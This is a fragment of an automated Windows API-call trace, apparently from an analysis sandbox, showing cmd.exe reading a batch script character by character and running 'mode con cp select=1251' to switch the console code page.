dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0179.977] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.977] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.977] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.977] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0179.977] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.977] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.977] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.977] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0179.977] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.977] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.978] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.978] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0179.978] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.978] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.978] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.978] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0179.978] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.978] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.978] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.978] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0179.978] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.978] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.978] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.978] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0179.978] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.978] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.978] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.978] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0179.978] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.978] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.978] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.978] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0179.978] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.978] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.978] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0179.979] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.979] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.979] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0179.979] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.979] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.979] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0179.979] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.979] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.979] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0179.979] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.979] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.979] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0179.979] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.979] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.979] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0179.979] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.979] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.979] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0179.979] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.979] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.980] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0179.980] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.980] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.980] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0179.980] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.980] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.980] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0179.980] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.980] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.980] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0179.980] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.980] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.980] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0179.980] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.980] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.980] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0179.980] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.980] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.980] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0179.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0179.981] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.981] GetFileType (hFile=0x248) returned 0x3 [0179.981] _get_osfhandle (_FileHandle=0) returned 0x248 [0179.981] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.981] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.981] GetFileType (hFile=0x254) returned 0x3 [0179.981] _get_osfhandle (_FileHandle=1) returned 0x254 [0179.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0179.981] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xa12bbcf698, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf698*=0x18, lpOverlapped=0x0) returned 1 [0179.981] GetProcessHeap () returned 0x265f3880000 [0179.981] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x4012) returned 0x265f3888e90 [0179.981] GetProcessHeap () returned 0x265f3880000 [0179.981] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3888e90) returned 1 [0179.982] _wcsicmp (_String1="mode", _String2=")") returned 68 [0179.982] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0179.982] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0179.982] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0179.982] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0179.982] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0179.982] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0179.982] GetProcessHeap () returned 0x265f3880000 [0179.982] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xb0) returned 0x265f38877c0 [0179.982] GetProcessHeap () returned 0x265f3880000 [0179.982] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x1a) returned 0x265f3886330 [0179.983] GetProcessHeap () returned 0x265f3880000 [0179.983] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x38) returned 0x265f3886500 [0179.983] GetConsoleOutputCP () returned 0x1b5 [0180.514] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65ec4fbb0 | out: lpCPInfo=0x7ff65ec4fbb0) returned 1 [0180.514] SetThreadUILanguage (LangId=0x0) returned 0x409 [0180.704] GetConsoleTitleW (in: lpConsoleTitle=0xa12bbcf4e0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0180.996] malloc (_Size=0xffce) returned 0x265f3a70840 [0180.996] ??_V@YAXPEAX@Z () returned 0x265f3a70840 [0181.020] malloc (_Size=0xffce) returned 0x265f3a80820 [0181.020] ??_V@YAXPEAX@Z () returned 0x265f3a80820 [0181.021] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0181.021] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0181.021] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0181.021] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0181.021] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0181.021] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0181.021] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0181.021] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0181.021] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0181.021] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0181.021] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0181.021] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0181.021] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0181.021] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0181.021] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0181.022] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0181.022] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0181.022] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0181.022] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0181.022] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0181.022] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0181.022] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0181.022] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0181.022] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0181.022] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0181.022] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0181.022] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0181.022] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0181.022] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0181.022] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0181.022] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0181.022] _wcsicmp (_String1="mode", _String2="START") returned -6 [0181.022] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0181.022] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0181.022] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0181.022] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0181.022] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0181.022] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0181.022] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0181.022] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0181.022] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0181.022] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0181.022] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0181.022] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0181.022] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0181.022] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0181.022] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0181.022] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0181.022] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0181.022] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0181.022] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0181.022] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0181.023] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0181.023] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0181.023] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0181.023] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0181.023] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0181.023] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0181.023] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0181.023] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0181.023] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0181.023] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0181.023] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0181.023] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0181.023] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0181.023] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0181.023] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0181.023] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0181.023] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0181.023] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0181.023] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0181.023] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0181.023] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0181.023] _wcsicmp (_String1="mode", _String2="START") returned -6 [0181.023] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0181.023] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0181.023] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0181.023] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0181.023] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0181.023] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0181.023] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0181.023] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0181.023] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0181.023] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0181.023] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0181.023] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0181.023] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0181.024] ??_V@YAXPEAX@Z () returned 0x1 [0181.024] GetProcessHeap () returned 0x265f3880000 [0181.024] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xffde) returned 0x265f3888e90 [0181.025] GetProcessHeap () returned 0x265f3880000 [0181.025] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x42) returned 0x265f3887880 [0181.025] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0181.025] malloc (_Size=0xffce) returned 0x265f3a80820 [0181.025] ??_V@YAXPEAX@Z () returned 0x265f3a80820 [0181.025] GetProcessHeap () returned 0x265f3880000 [0181.025] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x1ffac) returned 0x265f3898e80 [0181.027] SetErrorMode (uMode=0x0) returned 0x0 [0181.027] SetErrorMode (uMode=0x1) returned 0x0 [0181.027] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x265f3898e90, lpFilePart=0xa12bbced60 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xa12bbced60*="system32") returned 0x13 [0181.027] SetErrorMode (uMode=0x0) returned 0x1 [0181.027] GetProcessHeap () returned 0x265f3880000 [0181.027] RtlReAllocateHeap (Heap=0x265f3880000, Flags=0x0, Ptr=0x265f3898e80, Size=0x42) returned 0x265f3898e80 [0181.027] GetProcessHeap () returned 0x265f3880000 [0181.027] RtlSizeHeap (HeapHandle=0x265f3880000, Flags=0x0, MemoryPointer=0x265f3898e80) returned 0x42 [0181.027] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65ec4bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0181.027] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0181.027] GetProcessHeap () returned 0x265f3880000 [0181.027] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x1b6) returned 0x265f38878d0 [0181.027] GetProcessHeap () returned 0x265f3880000 [0181.028] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x35c) returned 0x265f3898ee0 [0181.037] GetProcessHeap () returned 0x265f3880000 